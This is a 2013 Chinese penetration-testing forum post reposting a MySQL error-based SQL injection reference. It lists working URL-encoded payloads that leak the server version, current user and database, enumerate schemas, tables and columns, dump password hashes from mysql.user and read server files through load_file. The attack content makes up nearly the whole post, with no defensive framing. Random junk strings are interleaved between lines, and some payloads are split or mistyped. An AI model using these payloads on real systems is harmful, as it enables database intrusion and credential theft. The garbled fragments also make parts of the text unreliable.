中国网络渗透测试联盟
标题:
Mysql暴错注入参考（pdf）
[打印本页]
作者:
admin
时间:
2013-7-27 11:00
标题:
Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
* p0 Y1 B6 V, p2 x
0 R! V# V7 X" {/ Q2 N% Z
8 c8 Q8 L, v# u/ e) s
Mysql暴错注入参考（pdf），每天一贴。。。
* i$ |" `) E; w4 y# R: @. E
- E# S9 Q' F- ]1 {* H6 @% k6 B& [7 u
MySql Error Based Injection Reference
0 M0 P Z; o2 Q2 |3 i+ ~
[Mysql暴错注入参考]
5 J* B5 F P- q
Authornig0s1992
: ]( B# z9 o4 G/ ]6 u
Blog:
http://pnig0s1992.blog.51cto.com/
8 n! F9 l3 N5 F" {- \+ Z& r
TeAm:
http://www.FreeBuf.com/
4 S5 K$ `) ]' n9 t
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
, O3 c& ^. S0 I2 q) [& l
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
; \1 i7 W# I- ]. O, F
查询版本:
5 F; l) f% y( r
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
6 }# O7 \4 @, x% @
join+(select+name_const(@@version,0))b)c)
* \. T; Q! Y7 e8 N b
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
) B6 [! ~4 r+ y& \
up by a)b)
8 h2 x5 F. z; L6 i
查询当前用户:
4 P6 x L3 R) ~9 E4 V
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
8 @2 i' k: C6 N0 s0 S
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
. y! L$ T8 N* g8 }5 ^2 D
and(0)*2))x+from+information_schema.tables+group+by+x)a)
% d8 P: k, J9 G% ?3 W0 v- n
查询当前数据库:
6 }/ p4 t6 U6 w3 z" _ C' H
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
; v3 ^5 z# a$ \
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
$ M* K7 r1 F5 A; \# C
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ {2 [5 q+ x( n" f, a- l; y1 [5 Z
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
: O, s, M7 g3 {/ V- V4 Y
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( ^- @8 e( b+ P8 N. K l( F
顺序替换
7 Y2 b5 S0 M1 b& V5 u9 s
爆指定库数目:
! k+ M3 r+ A- Q0 R9 \3 `! s" h
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
' ? `4 H2 V# \8 g3 g
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
$ I" i* m% C1 K. ^0 w
+by+x)a)+and+1=1 0x6D7973716C=mysql
9 H' j$ S- U1 z
依次爆表:
8 | M. {& |: h# B0 u. d5 [
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
% a, N8 ^$ c4 ~7 i# \
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
2 _5 B Q' ?$ B: y: w% F7 ? [$ [
bles+group+by+x)a)+and+1=1
5 z7 c' y% K4 ~, j. N
0x6D7973716C=Mysql 将n顺序替换
" b6 T1 [' t/ b, ~/ i& U
爆表内字段数目:
; i- ?! t+ E* a, _8 i( S
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
6 X/ g# a0 K0 u9 Y; ], }
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
7 Q$ t9 m8 i" @6 `- j' U
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
. G. M6 f }) z: r6 |
依次爆字段:
% Y9 d( ]8 v1 B. ]* L
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
. o# s( Y6 o1 i% y; k/ M
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" g& G$ Q. g1 c2 ~. ^
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
4 @9 F* |- K n& o
依次暴内容:
5 ]9 U3 e2 \, S6 U2 B
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
: ]6 T& [$ d" j3 b+ R
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
0 \3 f' g7 p- N( | y
将n顺序替换
3 c1 T3 n- @6 f% }2 o5 i
爆文件内容:
$ M8 O' l# t, y1 T' _. [
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
( }' V5 Y6 ]2 w' Z Z l
from+information_schema.tables+group+by+a)b)
, R" s3 u+ i( H1 Z
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
) v. _$ m+ p! b3 d( k$ _2 h
Thx for reading.
' |! m+ l ?/ r6 q5 A
% S# C7 f9 Y# D% } ~
不要下载也可以，
, o5 I( U% P: _/ e
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2